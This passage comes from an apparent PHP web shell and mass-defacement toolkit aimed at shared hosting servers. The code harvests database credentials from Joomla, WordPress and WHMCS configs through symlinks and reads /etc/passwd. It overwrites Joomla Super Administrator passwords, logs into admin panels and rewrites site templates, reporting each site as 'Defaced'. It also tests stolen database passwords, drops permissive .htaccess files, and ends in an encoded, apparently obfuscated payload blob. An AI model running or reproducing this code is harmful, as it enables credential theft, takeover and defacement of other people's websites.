5641 $url2=($url."/sym/root/home/".$user."/public_html/configuration.php");
5642 $configs=file_get_contents($url2);
5643 $old=('$');
5644 $new=('hax0rsistz');
5645 $configfile = str_replace($old , $new , $configs);
5646 $username=entre2v2($configfile, "hax0rsistzuser = '","';");
5647 $password=entre2v2($configfile, "hax0rsistzpassword = '","';");
5648 $dbname=entre2v2($configfile, "hax0rsistzdb = '","';");
5649 $dbprefix=entre2v2($configfile, "hax0rsistzdbprefix = '","';");
5650
5651 $strlendbprefix= strlen ($dbprefix);
5652 if ($strlendbprefix > 2) {
5653 $link=mysql_connect("localhost",$username,$password) ;
5654
5655 mysql_select_db($dbname,$link) ;
5656
5657 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='Yabod1' , password = 'af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG' where usertype='Super Administrator'");
5658
5659 //checking pass change
5660 $reqpass=('af9083d4b82dbc0745b124db3b3cf15d:M0WuLowO4rtRTddG');
5661 $checkpass= mysql_query("SELECT password FROM ".$dbprefix."users where username='Yabod1'");
5662 $showpass=mysql_fetch_array ($checkpass);
5663 if ($showpass[0]== $reqpass) {
5664
5665 $filename = 'passchanged.txt';
5666 $fp = fopen($filename, "a+");
5667 $write = fputs($fp, $site_url."\n");
5668 fclose($fp);
5669 //upto this alright
5670 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
5671
5672
5673 $co=randomt();
5674
5675 if ( $req )
5676 {
5677
5678 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
5679 $data = mysql_fetch_array($req);
5680 $template_name=$data["template"];
5681
5682 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
5683 $data = mysql_fetch_array($req);
5684 $template_id=$data["extension_id"];
5685
5686 $urlto=$site_urlto."/administrator/index.php";
5687
5688 $ch = curl_init();
5689 curl_setopt($ch, CURLOPT_URL, $urlto);
5690 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5691 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5692 curl_setopt($ch, CURLOPT_HEADER, 1);
5693 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5694 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5695 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5696
5697
5698 $buffer = curl_exec($ch);
5699
5700 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
5701 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
5702
5703 ///////////////////////////
5704 $urlto=$site_urlto."/administrator/index.php";
5705 $ch = curl_init();
5706 curl_setopt($ch, CURLOPT_URL, $urlto);
5707 curl_setopt($ch, CURLOPT_POST, 1);
5708 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&return=".$return."&".$hidden."=1");
5709 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5710 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5711 curl_setopt($ch, CURLOPT_HEADER, 0);
5712 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5713 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5714 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5715 $buffer = curl_exec($ch);
5716
5717 $pos = strpos($buffer,"com_config");
5718 if($pos === false) {
5719
5720 }
5721 else {
5722 }
5723 ///////////////////////////
5724 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
5725 $ch = curl_init();
5726 curl_setopt($ch, CURLOPT_URL, $urlto);
5727 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5728 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5729 curl_setopt($ch, CURLOPT_HEADER, 0);
5730 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5731 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5732 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5733 $buffer = curl_exec($ch);
5734
5735 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
5736 if($hidden2) {
5737 }
5738 else {
5739
5740 }
5741 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
5742
5743 $ch = curl_init();
5744 curl_setopt($ch, CURLOPT_URL, $urlto);
5745 curl_setopt($ch, CURLOPT_POST, 1);
5746 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
5747
5748 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5749 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5750 curl_setopt($ch, CURLOPT_HEADER, 0);
5751 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5752 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5753 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5754 $buffer = curl_exec($ch);
5755
5756 $pos = strpos($buffer,'<dd class="message message">');
5757 if($pos === false) {
5758 echo "<center><table border=1 cellspacing=1 cellpading=1>
5759 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
5760 }
5761 else {
5762 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
5763 $filename = 'deftemp.txt';
5764 $fp = fopen($filename, "a+");
5765 $write = fputs($fp, $deftempurl."\n");
5766 fclose($fp);
5767
5768 echo "<center><table border=1 cellspacing=1 cellpading=1>
5769 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
5770
5771
5772 }
5773
5774 }
5775
5776 else
5777 {
5778
5779 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
5780 $data = mysql_fetch_array($req);
5781 $template_name=$data["template"];
5782
5783 $urlto=$site_urlto."/administrator/index.php";
5784 $ch = curl_init();
5785 curl_setopt($ch, CURLOPT_URL, $urlto);
5786 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5787 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5788 curl_setopt($ch, CURLOPT_HEADER, 1);
5789 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5790 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5791 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5792 $buffer = curl_exec($ch);
5793
5794 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
5795
5796 $urlto=$site_urlto."/administrator/index.php";
5797 $ch = curl_init();
5798 curl_setopt($ch, CURLOPT_URL, $urlto);
5799 curl_setopt($ch, CURLOPT_POST, 1);
5800 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=1&option=com_login&task=login&".$hidden."=1");
5801 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5802 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5803 curl_setopt($ch, CURLOPT_HEADER, 0);
5804 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5805 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5806 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5807 $buffer = curl_exec($ch);
5808
5809 $pos = strpos($buffer,"com_config");
5810
5811 if($pos === false) {
5812
5813 }
5814 else {
5815 }
5816 $urlto=$site_urlto."/administrator/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
5817 $ch = curl_init();
5818 curl_setopt($ch, CURLOPT_URL, $urlto);
5819 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5820 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5821 curl_setopt($ch, CURLOPT_HEADER, 0);
5822 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5823 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5824 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5825 $buffer = curl_exec($ch);
5826
5827 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
5828
5829 if($hidden2) {
5830
5831 }
5832 else {
5833
5834 }
5835
5836
5837 $urlto=$site_urlto."/administrator/index.php?option=com_templates&layout=edit";
5838 $ch = curl_init();
5839 curl_setopt($ch, CURLOPT_URL, $urlto);
5840 curl_setopt($ch, CURLOPT_POST, 1);
5841 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
5842 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5843 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5844 curl_setopt($ch, CURLOPT_HEADER, 0);
5845 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5846 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5847 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5848 $buffer = curl_exec($ch);
5849
5850 $pos = strpos($buffer,'<dd class="message message fade">');
5851 if($pos === false) {
5852 echo "<center><table border=1 cellspacing=1 cellpading=1>
5853 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=red> Failed </font></td></tr></table></center>";
5854 }
5855 else {
5856 $deftempurl=("http://".$site_urlto."/templates/".$template_name."/index.php");
5857 $filename = 'deftemp.txt';
5858 $fp = fopen($filename, "a+");
5859 $write = fputs($fp, $deftempurl."\n");
5860 fclose($fp);
5861
5862 echo "<center><table border=1 cellspacing=1 cellpading=1>
5863 <tr><td width=200><font color=green> $user</font></td><td width=250><font color=green> $site_url<font></td><td width=100><font color=green> Joomla</font></td><td width=200><font color=green> Defaced </font></td></tr></table></center>";
5864
5865
5866 }
5867
5868 }
5869
5870
5871 //upto this alright
5872
5873
5874
5875
5876
5877
5878
5879
5880 }
5881 else {
5882 }
5883 }
5884 else {
5885 }
5886 }
5887
5888 $cntpasschanged=file('passchanged.txt');
5889 $countpasschanged= count ($cntpasschanged);
5890
5891
5892
5893 echo("<br>");
5894 $defacedurl=('<a href="deftemp.txt" target="_blank">View List of Defaced Site</a><br />');
5895 $passchangedurl=('<a href="passchanged.txt" target="_blank">View List of Password Changed site</a><br />');
5896 echo "<center><table border=1 cellspacing=1 cellpading=1>
5897 <td width=300><font color=green> $defacedurl</font></td><td width=300><font color=green> $passchangedurl </font></td></tr></table></center>";
5898
5899
5900
5901 //declaring function entre2v2
5902 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
5903 $ar0=explode($marqueurDebutLien, $text);
5904 $ar1=explode($marqueurFinLien, $ar0[$i]);
5905 return trim($ar1[0]);
5906 }
5907
5908 function randomt() {
5909
5910 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
5911 srand((double)microtime()*1000000);
5912 $i = 0;
5913 $pass = '' ;
5914
5915 while ($i <= 7) {
5916 $num = rand() % 33;
5917 $tmp = substr($chars, $num, 1);
5918 $pass = $pass . $tmp;
5919 $i++;
5920 }
5921
5922 return $pass;
5923}
5924?>
5925
5926<?php }
5927# x=reseller
5928elseif(isset($_GET['x']) && ($_GET['x'] == 'reseller')){ ?>
5929<form action="?dm=<?php echo $pwd; ?>&x=reseller" method="post">
5930
5931
5932 <?php
5933echo '<br><br><body bgcolor=black><center>
5934<img src="http://www.nextgenhost.net/icons/logo-cpanel-whm.png"><br/><br/>
5935<nobr><b><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr></span><br/><br/>
5936<form method="POST">
5937<center>
5938<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
5939$uSr=file("/etc/passwd");
5940foreach($uSr as $usrr)
5941{
5942$str=explode(":",$usrr);
5943echo $str[0]."\n";
5944}
5945?>
5946
5947</textarea><p>
5948<nobr><font style="color:red;background-color:#000000">
5949[~] Home :
5950<select style="color:red;background-color:#000000" title="Select Target Home" name="home" size="10">
5951<option title="home" value="home">home</option>
5952<option title="home2" value="home2">home2</option>
5953<option title="home3" value="home3">home3</option>
5954<option title="home4" value="home4">home4</option>
5955<option title="home5" value="home5">home5</option>
5956<option title="home6" value="home6">home6</option>
5957<option title="home7" value="home7">home7</option>
5958<option title="home8" value="home8">home8</option>
5959<option title="home9" value="home9">home9</option>
5960<option title="home10" value="home10">home10</option>
5961</select> [~] Htaccess :
5962<select style="color:red;background-color:#000000" title="Select Software" name="soft" size="10">
5963<option title="Apache" value="Options all
5964Options +Indexes
5965Options +FollowSymLinks
5966DirectoryIndex Sux.html
5967AddType text/plain .php
5968AddHandler server-parsed .php
5969AddType text/plain .html
5970AddHandler txt .html
5971Require None
5972Satisfy Any">Apache</option>
5973<option title="Litespeed" value="
5974Options +FollowSymLinks
5975DirectoryIndex seees.html
5976RemoveHandler .php
5977AddType application/octet-stream .php ">Litespeed</option>
5978
5979</select> <input style="color:red;background-color:#000000" name="anu" size="10"
5980 value="<< START SCAN >>" type="submit">
5981<br/><br/></form></center>
5982
5983 <?php
5984@ini_set('html_errors',0);
5985@ini_set('max_execution_time',0);
5986@ini_set('display_errors', 0);
5987@ini_set('file_uploads',1);
5988if ($_POST['anu']) {
5989$path = $_POST['path'];
5990$home = $_POST['home'];
5991
5992$functions=@ini_get("disable_functions");
5993if(eregi("symlink",$functions))
5994{
5995die ('Kurang Ganteng Cok');
5996}
5997@mkdir(RESELLER, 0755);
5998@chdir(RESELLER);
5999$htaccess=$_POST['soft'];
6000file_put_contents(".htaccess",$htaccess,FILE_APPEND);
6001
6002$passwd=explode("\n",$_POST["passwd"]); foreach($passwd as $pwd){
6003$user=trim($pwd);
6004@symlink('/'.$home.'/'.$user.'/public_html/moving.page/index.html',$user.' <~ RESELLER1');
6005@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER2');
6006}
6007
6008echo '<center>
6009<font face="Audiowide" size="5" style="color:red;background-color:#000000">
6010<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
6011Scanning Complete....<br/>
6012Now Checking Folder Result....<br/><br/><br/>
6013<a href="/RESELLER">O=[ GO TO HELL ]=O</a>
6014</font>
6015<br/><br/><br/></center> </body></html> ';
6016}
6017?>
6018
6019<?php }
6020# x=dmwhmcs11
6021elseif(isset($_GET['x']) && ($_GET['x'] == 'dmwhmcs11')){ ?>
6022<form action="?dm=<?php echo $pwd; ?>&x=dmwhmcs11" method="post">
6023
6024<?php
6025echo '<br><br><body bgcolor=black><center>
6026<img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/>
6027<nobr><span class="b7">O=:[ SCAN CMS</span> <span class="b8">WHMCS ]:=O</nobr></span><br/><br/>
6028<form method="POST">
6029<center>
6030<textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
6031$uSr=file("/etc/passwd");
6032foreach($uSr as $usrr)
6033{
6034$str=explode(":",$usrr);
6035echo $str[0]."\n";
6036}
6037?>
6038
6039</textarea><p>
6040<nobr><font style="color:red;background-color:#000000">
6041[~] Home :
6042<select style="color:red;background-color:#000000" title="Select Target Home" name="home" size="10">
6043<option title="home" value="home">home</option>
6044<option title="home2" value="home2">home2</option>
6045<option title="home3" value="home3">home3</option>
6046<option title="home4" value="home4">home4</option>
6047<option title="home5" value="home5">home5</option>
6048<option title="home6" value="home6">home6</option>
6049<option title="home7" value="home7">home7</option>
6050<option title="home8" value="home8">home8</option>
6051<option title="home9" value="home9">home9</option>
6052<option title="home10" value="home10">home10</option>
6053</select> [~] Htaccess :
6054<select style="color:red;background-color:#000000" title="Select Software" name="soft" size="10">
6055<option title="Apache" value="Options all
6056Options +Indexes
6057Options +FollowSymLinks
6058DirectoryIndex Sux.html
6059AddType text/plain .php
6060AddHandler server-parsed .php
6061AddType text/plain .html
6062AddHandler txt .html
6063Require None
6064Satisfy Any">Apache</option>
6065<option title="Litespeed" value="
6066Options +FollowSymLinks
6067DirectoryIndex seees.html
6068RemoveHandler .php
6069AddType application/octet-stream .php ">Litespeed</option>
6070
6071</select> <input style="color:red;background-color:#000000" name="anu" size="10"
6072 value="<< START SCAN >>" type="submit">
6073<br/><br/></form></center>
6074
6075 <?php
6076@ini_set('html_errors',0);
6077@ini_set('max_execution_time',0);
6078@ini_set('display_errors', 0);
6079@ini_set('file_uploads',1);
6080if ($_POST['anu']) {
6081$path = $_POST['path'];
6082$home = $_POST['home'];
6083
6084$functions=@ini_get("disable_functions");
6085if(eregi("symlink",$functions))
6086{
6087die ('Kurang Ganteng Cok');
6088}
6089@mkdir(WHMCS, 0755);
6090@chdir(WHMCS);
6091
6092
6093
6094$htaccess=$_POST['soft'];
6095file_put_contents(".htaccess",$htaccess,FILE_APPEND);
6096
6097$passwd=explode("\n",$_POST["passwd"]);
6098foreach($passwd as $pwd){
6099$user=trim($pwd);
6100
6101@symlink('/'.$home.'/'.$user.'/public_html/suspended.page/index.html',$user.' <~ RESELLER');
6102
6103@symlink('/'.$home.'/'.$user.'/public_html/modules/registrars/',$user.' <~ WHMCS-1'); @symlink('/'.$home.'/'.$user.'/public_html/account/modules/registrars/',$user.' <~ WHMCS-2');
6104@symlink('/'.$home.'/'.$user.'/public_html/accounts/modules/registrars/',$user.' <~ WHMCS-3');
6105@symlink('/'.$home.'/'.$user.'/public_html/central/modules/registrars/',$user.' <~ WHMCS-4');
6106@symlink('/'.$home.'/'.$user.'/public_html/clienti/modules/registrars/',$user.' <~ WHMCS-5');
6107@symlink('/'.$home.'/'.$user.'/public_html/client/modules/registrars/',$user.' <~ WHMCS-6');
6108@symlink('/'.$home.'/'.$user.'/public_html/cliente/modules/registrars/',$user.' <~ WHMCS-7');
6109@symlink('/'.$home.'/'.$user.'/public_html/clientes/modules/registrars/',$user.' <~ WHMCS-8');
6110@symlink('/'.$home.'/'.$user.'/public_html/clients/modules/registrars/',$user.' <~ WHMCS-9');
6111@symlink('/'.$home.'/'.$user.'/public_html/clientarea/modules/registrars/',$user.' <~ WHMCS-9');
6112@symlink('/'.$home.'/'.$user.'/public_html/clientsarea/modules/registrars/',$user.' <~ WHMCS-10');
6113@symlink('/'.$home.'/'.$user.'/public_html/client-area/modules/registrars/',$user.' <~ WHMCS-11');
6114@symlink('/'.$home.'/'.$user.'/public_html/clients-area/modules/registrars/',$user.' <~ WHMCS-12');
6115@symlink('/'.$home.'/'.$user.'/public_html/clientzone/modules/registrars/',$user.' <~ WHMCS-13');
6116@symlink('/'.$home.'/'.$user.'/public_html/client-zone/modules/registrars/',$user.' <~ WHMCS-14');
6117@symlink('/'.$home.'/'.$user.'/public_html/core/modules/registrars/',$user.' <~ WHMCS-15');
6118@symlink('/'.$home.'/'.$user.'/public_html/company/modules/registrars/',$user.' <~ WHMCS-16');
6119@symlink('/'.$home.'/'.$user.'/public_html/customer/modules/registrars/',$user.' <~ WHMCS-17');
6120@symlink('/'.$home.'/'.$user.'/public_html/customers/modules/registrars/',$user.' <~ WHMCS-18');
6121@symlink('/'.$home.'/'.$user.'/public_html/bill/modules/registrars/',$user.' <~ WHMCS-19');
6122@symlink('/'.$home.'/'.$user.'/public_html/billing/modules/registrars/',$user.' <~ WHMCS-20');
6123@symlink('/'.$home.'/'.$user.'/public_html/finance/modules/registrars/',$user.' <~ WHMCS-21');
6124@symlink('/'.$home.'/'.$user.'/public_html/financeiro/modules/registrars/',$user.' <~ WHMCS-22');
6125@symlink('/'.$home.'/'.$user.'/public_html/host/modules/registrars/',$user.' <~ WHMCS-23');
6126@symlink('/'.$home.'/'.$user.'/public_html/hosts/modules/registrars/',$user.' <~ WHMCS-24');
6127@symlink('/'.$home.'/'.$user.'/public_html/hosting/modules/registrars/',$user.' <~ WHMCS-25');
6128@symlink('/'.$home.'/'.$user.'/public_html/hostings/modules/registrars/',$user.' <~ WHMCS'-26);
6129@symlink('/'.$home.'/'.$user.'/public_html/klien/modules/registrars/',$user.' <~ WHMCS-27');
6130@symlink('/'.$home.'/'.$user.'/public_html/manage/modules/registrars/',$user.' <~ WHMCS-28');
6131@symlink('/'.$home.'/'.$user.'/public_html/manager/modules/registrars/',$user.' <~ WHMCS-29');
6132@symlink('/'.$home.'/'.$user.'/public_html/member/modules/registrars/',$user.' <~ WHMCS-30');
6133@symlink('/'.$home.'/'.$user.'/public_html/members/modules/registrars/',$user.' <~ WHMCS-31');
6134@symlink('/'.$home.'/'.$user.'/public_html/my/modules/registrars/',$user.' <~ WHMCS-32');
6135@symlink('/'.$home.'/'.$user.'/public_html/myaccount/modules/registrars/',$user.' <~ WHMCS-33');
6136@symlink('/'.$home.'/'.$user.'/public_html/my-account/client/modules/registrars/',$user.' <~ WHMCS-34');
6137@symlink('/'.$home.'/'.$user.'/public_html/myaccounts/modules/registrars/',$user.' <~ WHMCS-35');
6138@symlink('/'.$home.'/'.$user.'/public_html/my-accounts/modules/registrars/',$user.' <~ WHMCS-36');
6139@symlink('/'.$home.'/'.$user.'/public_html/order/modules/registrars/',$user.' <~ WHMCS-37');
6140@symlink('/'.$home.'/'.$user.'/public_html/orders/modules/registrars/',$user.' <~ WHMCS-38');
6141@symlink('/'.$home.'/'.$user.'/public_html/painel/modules/registrars/',$user.' <~ WHMCS-39');
6142@symlink('/'.$home.'/'.$user.'/public_html/panel/modules/registrars/',$user.' <~ WHMCS-40');
6143@symlink('/'.$home.'/'.$user.'/public_html/panels/modules/registrars/',$user.' <~ WHMCS-41');
6144@symlink('/'.$home.'/'.$user.'/public_html/portal/modules/registrars/',$user.' <~ WHMCS-42');
6145@symlink('/'.$home.'/'.$user.'/public_html/portals/modules/registrars/',$user.' <~ WHMCS-43');
6146@symlink('/'.$home.'/'.$user.'/public_html/secure/modules/registrars/',$user.' <~ WHMCS-44');
6147@symlink('/'.$home.'/'.$user.'/public_html/support/modules/registrars/',$user.' <~ WHMCS-45');
6148@symlink('/'.$home.'/'.$user.'/public_html/supporte/modules/registrars/',$user.' <~ WHMCS-46');
6149@symlink('/'.$home.'/'.$user.'/public_html/supports/modules/registrars/',$user.' <~ WHMCS-47');
6150@symlink('/'.$home.'/'.$user.'/public_html/web/modules/registrars/',$user.' <~ WHMCS-48');
6151@symlink('/'.$home.'/'.$user.'/public_html/webhost/modules/registrars/',$user.' <~ WHMCS-49');
6152@symlink('/'.$home.'/'.$user.'/public_html/webhosting/modules/registrars/',$user.' <~ WHMCS-50');
6153@symlink('/'.$home.'/'.$user.'/public_html/whm/modules/registrars/',$user.' <~ WHMCS-51');
6154@symlink('/'.$home.'/'.$user.'/public_html/whmcs/modules/registrars/',$user.' <~ WHMCS-52');
6155@symlink('/'.$home.'/'.$user.'/public_html/whmcs2/modules/registrars/',$user.' <~ WHMCS-53');
6156@symlink('/'.$home.'/'.$user.'/public_html/Whm/modules/registrars/',$user.' <~ WHMCS-54');
6157@symlink('/'.$home.'/'.$user.'/public_html/Whmcs/modules/registrars/',$user.' <~ WHMCS-55');
6158@symlink('/'.$home.'/'.$user.'/public_html/WHM/modules/registrars/',$user.' <~ WHMCS-56');
6159@symlink('/'.$home.'/'.$user.'/public_html/WHMCS/modules/registrars/',$user.' <~ WHMCS-57');
6160}
6161echo '<hr color="#00bfff"><center>
6162<font face="Audiowide" size="5" style="color:#00bfff;background-color:#000000">
6163<img src="http://www.komunitas.for-indonesia.com/images/smiley/piss.gif"><br/>
6164Scanning Complete....<br/>
6165Now Checking Folder Result....<br/><br/><br/>
6166<a href="/WHMCS">O=[ GO TO HELL ]=O</a>
6167</font>
6168<br/><br/><br/></center> </body></html> ';
6169}
6170?>
6171
6172<?php }
6173# x=cp3
6174elseif(isset($_GET['x']) && ($_GET['x'] == 'cp3')){
6175?>
6176<form action="?dm=<?php echo $pwd; ?>&x=cp3" method="post">
6177
6178<?php
6179set_time_limit(0);
6180error_reporting(0);
6181if(isset($_POST['url'])){
6182$url = $_POST['url'];
6183}else{
6184$url = 'http://';
6185}
6186echo '<center><br/><br/><nobr><span class="b7">O=:[ CPANEL</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/>
6187<form method="POST">
6188<input name="url" style="color:#FF0000;background-color:#000000" type="text" value="'.$url.'" size="40"/><br/>
6189<p><input type="submit" style="color:#FF0000;background-color:#000000" value="--:[ CROTZ ]:--"/>
6190</form><br/><br/>';
6191if(isset($_POST['url'])){
6192if(!file_get_contents($url)){
6193echo '--:[ ERROR BRAY ]:--';
6194}else{
6195$a = 0;
6196foreach(get_data($url) as $info){
6197if(login($info[0],$info[1])){
6198echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'>-:[ USERNAME & PASSWORD ]:-</b> <b style=' color: #0000FF ; text-shadow:0px 0px 1px #0000FF ;'>[$info[0]]</b> <b style=' color: #CC0000; text-shadow:0px 0px 1px #CC0000;'>[$info[1]]</b><br />";
6199$a++;
6200}
6201}
6202echo "<b style=' color: #808080 ; text-shadow:0px 0px 1px #808080 ;'><hr> *SUKSES ^_^ || $a CPANEL FOUNDED*<br />";
6203}
6204}
6205echo '<br/><div align="center"><font color="blue" face="Verdana" size="3">--=|[+] Sh4d0w4rT [+]|=--</font></div>
6206</body>
6207</html>';
6208function ex($a,$b,$text){
6209$explode = explode($a,$text);
6210$explode = explode($b,$explode[1]);
6211return $explode[0];
6212}
6213function login($user,$pass){
6214$c = @mysql_connect('localhost',$user,$pass);
6215if($c){
6216mysql_close($c);
6217return true;
6218}else{
6219return false;
6220}
6221}
6222function get_data($url){
6223$ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','10.txt','11.txt','12.txt','13.txt','14txt','15.txt','16.txt','17.txt','18.txt','19.txt','20.txt','21.txt','22.txt','23.txt','24.txt','25.txt','26.txt','27.txt','28.txt','29.txt','30.txt','31.txt','32.txt','33.txt','34.txt','35.txt','36.txt','37.txt','38.txt','39.txt','40.txt','41.txt','42.txt','43.txt','44.txt','45.txt','46.txt','47.txt','48.txt','49.txt','50.txt');
6224$src = file_get_contents($url);
6225$files = explode('<a href="',$src);
6226$data = array();
6227foreach($files as $id=>$file){
6228if($id == 0){
6229continue;
6230}
6231$file = explode('">',$file);
6232$file = trim($file[0]);
6233if(!eregi('.txt',$file)){
6234continue;
6235}
6236$src = file_get_contents("$url/$file");
6237if(!$src){
6238continue;
6239}
6240$user = str_replace($ar,'',$file);
6241$user = str_replace($ar,'',$user.'.txt');
6242$user = str_replace($ar,'',$user.'.txt');
6243$user = trim(str_replace('.txt','',$user));
6244if(eregi("WordPress",$src)){
6245$pass = ex("define('DB_PASSWORD', '","');",$src);
6246$data[] = array($user,$pass);
6247}else{
6248$tokens = token_get_all($src);
6249foreach($tokens as $token){
6250if(!$token[1]){
6251continue;
6252}
6253$tokenname = token_name($token[0]);
6254if($tokenname != 'T_VARIABLE'){
6255continue;
6256}
6257$var = $token[1];
6258if(eregi('pass',$var)){
6259$f = str_replace(' ','',ex($var,';',$src));
6260$a = trim(ex("='","'",$f));
6261$b = trim(ex('"','"',$f));
6262if($a != ''){
6263$pass = $a;
6264}elseif($b != ''){
6265$pass = $b;
6266}
6267if($pass == ''){
6268continue;
6269}
6270$data[] = array($user,$pass);
6271}
6272}
6273}
6274}
6275return $data;
6276}
6277;
6278return;
6279?>~Dkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tmYlfy90DB1lb2xpdBl0heEpKXplFmkvFl9ZcbnvFmOpdMFPHtL7tMlMholzF2a0htOgAr9TaySmfbkSk10phbShkuaZdtE9wtOgAr9TaySmfbkSk107tm1lduYlGXPLfbkSwe0Ik2i0fuE6RZ93f3FVkzShgWplC2ivwtF8wAONW1OcArAIUyOYTe4hNoi0dBX+tjxPcByLNIP8fol0doA+WJ1owrYvdMcpc19jAoyVcBX8R3OpfoxlNIP8F3O5doAIfulXcT0Jfoa4ft9jF3HJNIPhCM9LGbShwtEIdByZc2lVwePICba0dzShwtEICMyjD2fZd3aVct1jd2xvFjPjcjcMYMC2KXPIwtnjd2xvFjPIwzHzKTL5KTShwtEIcM9Vft1MCB1pduL6wuOiDo9sCUXIc2aVcbciRtnSfBYpcorSduajDBOiwofZCB5LcUXICbkpCBXSwoilduclfoljCUXIF2yVFZ1zcbkpcjShwtEIcM9Vft1MCB1pduL6wer0FuI7tJEIwuOlGuWsCBxpc246woYldmOlFjShwtEIwocvdmWsf2apc2i0KJnJd2xLweShgWPhDB5XfbWSfoa4foyZcBrSF2aScBY0GXpMd250RbflDBfPfePICM9SceShC29Sd3w6wtHXHeEXHeE7tMkvFMOlFjPIHbn4wuYvdolLwtYeW0YeW0H7tMkiC2smFM91dMWsC29Sd3w6wufPDbOlKXpXCBOLDB5mKJEzFuI7tMkvFMOlFJ1ZCBOpfbH6wefXGeShgWPhDB5XfbW6cM9jfbY7tIPICM94RbYPCBOvfzPIHun4wenXGtE1FuIIwzEXKAC5OjShtm0hw2cvd3OlFJEIGXPhC29Sd3